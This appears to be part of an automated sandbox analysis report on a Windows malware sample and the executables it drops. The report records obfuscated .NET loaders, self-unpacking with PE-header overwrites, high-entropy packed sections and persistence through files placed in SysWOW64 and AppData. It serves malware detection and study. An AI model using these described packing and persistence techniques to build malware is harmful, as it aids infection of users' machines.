Source: 18.0.3D34.exe.ec0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.3D34.exe.ec0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.3D34.exe.ec0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.2.3D34.exe.ec0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.2.3D34.exe.ec0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.3D34.exe.ec0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.0.3D34.exe.ec0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\BB8A.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: ECD2MpEBSf.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: ECD2MpEBSf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: ECD2MpEBSf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: ECD2MpEBSf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: ECD2MpEBSf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: ECD2MpEBSf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: ECD2MpEBSf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: ECD2MpEBSf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: profapi.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: BB8A.exe, 0000000C.00000000.759454697.0000000000413000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.765793505.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000010.00000002.807243826.0000000004DE0000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: r*;\C:\xazunilula6\leziwobamer-mugudarecemas_gure.pdbh source: CCB2.exe, 0000000F.00000000.768135951.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp, WerFault.exe, 00000010.00000003.777349843.00000000049D7000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: C:\nobaniz_sakalacato34.pdbh source: ECD2MpEBSf.exe, 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, ECD2MpEBSf.exe, 00000000.00000000.661810290.0000000000401000.00000020.00020000.sdmp, ECD2MpEBSf.exe, 00000001.00000000.664620927.0000000000401000.00000020.00020000.sdmp, jgdhbua, 00000009.00000000.751866281.0000000000401000.00000020.00020000.sdmp, jgdhbua, 00000009.00000002.758107473.0000000000401000.00000020.00020000.sdmp, jgdhbua, 0000000B.00000000.755033215.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: ;C:\bajudag\zexi\yedu49\hecicu\2-tiwi\cabilok\fes.pdbh source: D936.exe, 00000011.00000000.776580962.0000000000401000.00000020.00020000.sdmp, krmdinzg.exe, 00000020.00000000.795753078.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp, WerFault.exe, 00000010.00000003.778942214.0000000000B3E000.00000004.00000001.sdmp, WerFault.exe, 00000010.00000003.777377914.0000000000B3E000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: C:\xazunilula6\leziwobamer-mugudarecemas_gure.pdb source: CCB2.exe, 0000000F.00000000.768135951.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000010.00000003.783122739.0000000004EC6000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000010.00000003.783105671.0000000004EC0000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000010.00000003.783088136.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: BB8A.exe, 0000000C.00000000.759454697.0000000000413000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.765793505.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000010.00000002.807243826.0000000004DE0000.00000002.00020000.sdmp
Source:	Binary string: C:\bajudag\zexi\yedu49\hecicu\2-tiwi\cabilok\fes.pdb source: D936.exe, 00000011.00000000.776580962.0000000000401000.00000020.00020000.sdmp, krmdinzg.exe, 00000020.00000000.795753078.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\nobaniz_sakalacato34.pdb source: ECD2MpEBSf.exe, ECD2MpEBSf.exe, 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, ECD2MpEBSf.exe, 00000000.00000000.661810290.0000000000401000.00000020.00020000.sdmp, ECD2MpEBSf.exe, 00000001.00000000.664620927.0000000000401000.00000020.00020000.sdmp, jgdhbua, 00000009.00000000.751866281.0000000000401000.00000020.00020000.sdmp, jgdhbua, 00000009.00000002.758107473.0000000000401000.00000020.00020000.sdmp, jgdhbua, 0000000B.00000000.755033215.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000010.00000003.778942214.0000000000B3E000.00000004.00000001.sdmp, WerFault.exe, 00000010.00000003.777377914.0000000000B3E000.00000004.00000001.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Unpacked PE file: 15.2.CCB2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Unpacked PE file: 17.2.D936.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Unpacked PE file: 32.2.krmdinzg.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Unpacked PE file: 15.2.CCB2.exe.400000.0.unpack .text:ER;.data:W;.zic:W;.wuvuhus:W;.jufot:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Unpacked PE file: 17.2.D936.exe.400000.0.unpack .text:ER;.data:W;.lih:W;.cazelob:W;.pox:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Unpacked PE file: 32.2.krmdinzg.exe.400000.0.unpack .text:ER;.data:W;.lih:W;.cazelob:W;.pox:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains potential unpacker

Show sources

Source: A4DE.exe.5.dr, Univesity_Grade_Calculator/Form1.cs	.Net Code: Form1_Load System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: D502.exe.5.dr, CoreApi.cs	.Net Code: Start System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 3D34.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 18.0.3D34.exe.ec0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 18.0.3D34.exe.ec0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 18.2.3D34.exe.ec0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 18.0.3D34.exe.ec0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 37.0.3D34.exe.150000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 37.2.3D34.exe.150000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 37.0.3D34.exe.150000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 37.0.3D34.exe.150000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_00573634 push es; iretd	0_2_00573640
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_00401880 push esi; iretd	1_2_00401893
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_2_00402E94 push es; iretd	1_2_00402EA0
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 1_1_00402E94 push es; iretd	1_1_00402EA0
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 9_2_006F3634 push es; iretd	9_2_006F3640
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_00401880 push esi; iretd	11_2_00401893
Source: C:\Users\user\AppData\Roaming\jgdhbua	Code function: 11_2_00402E94 push es; iretd	11_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_00412CA4 push eax; ret	12_2_00412CC2
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_0069127E push edi; iretd	12_2_006912AA
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_0069123C push edi; iretd	12_2_006912AA
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_0069735E push esp; iretd	12_2_0069735F
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_006953C8 pushfd ; retf	12_2_006953D3
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_0041A63D push eax; retf 007Fh	15_2_0041A699
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_0041A6C4 push E0007FC6h; retf 007Fh	15_2_0041A6D9
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_0041A310 push eax; ret	15_2_0041A3C9
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_0041A7DC pushad ; iretd	15_2_0041A7DD
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_004139B0 push eax; ret	15_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00693C00 push eax; ret	15_2_00693C2E
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: 17_2_0043DA48 push es; retf 0041h	17_2_0043DA49
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_00EC8508 push 00000028h; retf 0000h	18_2_00EC850D
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_00EC764A push esp; ret	18_2_00EC764B
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_017B4003 push esi; retf	18_2_017B400F
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_0581C502 push E80B905Eh; ret	18_2_0581C509
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_0581D4EB push esp; iretd	18_2_0581D4F1
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_0581CF38 pushad ; retf	18_2_0581CF39
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Code function: 18_2_0581CF78 pushfd ; retf	18_2_0581CF79
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: 32_2_0043DA48 push es; retf 0041h	32_2_0043DA49

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

Code function: 0_2_0042D770 LoadLibraryW,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_0042D770

Source: 6C37.exe.5.dr

Static PE information: 0xAB35ADD6 [Sat Jan 8 14:57:26 2061 UTC]

Source: ECD2MpEBSf.exe	Static PE information: section name: .kipex
Source: ECD2MpEBSf.exe	Static PE information: section name: .him
Source: ECD2MpEBSf.exe	Static PE information: section name: .hakir
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name:
Source: E3A9.exe.5.dr	Static PE information: section name: .28gybOo
Source: E3A9.exe.5.dr	Static PE information: section name: .adata
Source: CCB2.exe.5.dr	Static PE information: section name: .zic
Source: CCB2.exe.5.dr	Static PE information: section name: .wuvuhus
Source: CCB2.exe.5.dr	Static PE information: section name: .jufot
Source: 6C37.exe.5.dr	Static PE information: section name: .didata
Source: 888A.exe.5.dr	Static PE information: section name: _RDATA
Source: D936.exe.5.dr	Static PE information: section name: .lih
Source: D936.exe.5.dr	Static PE information: section name: .cazelob
Source: D936.exe.5.dr	Static PE information: section name: .pox
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name:
Source: 9889.exe.5.dr	Static PE information: section name: .kujN2o2
Source: 9889.exe.5.dr	Static PE information: section name: .adata
Source: CADF.exe.5.dr	Static PE information: section name: _RDATA
Source: jgdhbua.5.dr	Static PE information: section name: .kipex
Source: jgdhbua.5.dr	Static PE information: section name: .him
Source: jgdhbua.5.dr	Static PE information: section name: .hakir
Source: krmdinzg.exe.17.dr	Static PE information: section name: .lih
Source: krmdinzg.exe.17.dr	Static PE information: section name: .cazelob
Source: krmdinzg.exe.17.dr	Static PE information: section name: .pox

Source: initial sample

Static PE information: section where entry point is pointing to: .didata

Source: E3A9.exe.5.dr	Static PE information: real checksum: 0x3721bb should be: 0x373654
Source: 9889.exe.5.dr	Static PE information: real checksum: 0x373823 should be: 0x3738f9
Source: D502.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x1298c
Source: 3D34.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x9011f

Source: initial sample	Static PE information: section name: .text entropy: 6.96486152385
Source: initial sample	Static PE information: section name: entropy: 7.99714766582
Source: initial sample	Static PE information: section name: entropy: 7.90784224501
Source: initial sample	Static PE information: section name: entropy: 7.99361781473
Source: initial sample	Static PE information: section name: entropy: 7.80912989946
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22348700263
Source: initial sample	Static PE information: section name: .28gybOo entropy: 7.91849564721
Source: initial sample	Static PE information: section name: .text entropy: 6.98113997622
Source: initial sample	Static PE information: section name: .didata entropy: 7.99713235918
Source: initial sample	Static PE information: section name: .text entropy: 6.95944979331
Source: initial sample	Static PE information: section name: entropy: 7.99715248044
Source: initial sample	Static PE information: section name: entropy: 7.90789134233
Source: initial sample	Static PE information: section name: entropy: 7.99431797903
Source: initial sample	Static PE information: section name: entropy: 7.81839424264
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22755578232
Source: initial sample	Static PE information: section name: .kujN2o2 entropy: 7.91856580958
Source: initial sample	Static PE information: section name: .text entropy: 6.96486152385
Source: initial sample	Static PE information: section name: .text entropy: 6.95944979331

Source: 3D34.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 3D34.exe.5.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 18.0.3D34.exe.ec0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 18.0.3D34.exe.ec0000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 18.0.3D34.exe.ec0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 18.0.3D34.exe.ec0000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 18.2.3D34.exe.ec0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 18.2.3D34.exe.ec0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 18.0.3D34.exe.ec0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 18.0.3D34.exe.ec0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 18.0.3D34.exe.ec0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 18.0.3D34.exe.ec0000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.3D34.exe.150000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.3D34.exe.150000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 37.2.3D34.exe.150000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 37.2.3D34.exe.150000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.3D34.exe.150000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 37.0.3D34.exe.150000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 37.0.3D34.exe.150000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 37.0.3D34.exe.150000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: unknown

Executable created and started: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\jgdhbua

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\888A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D936.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3D34.exe	Jump to dropped file
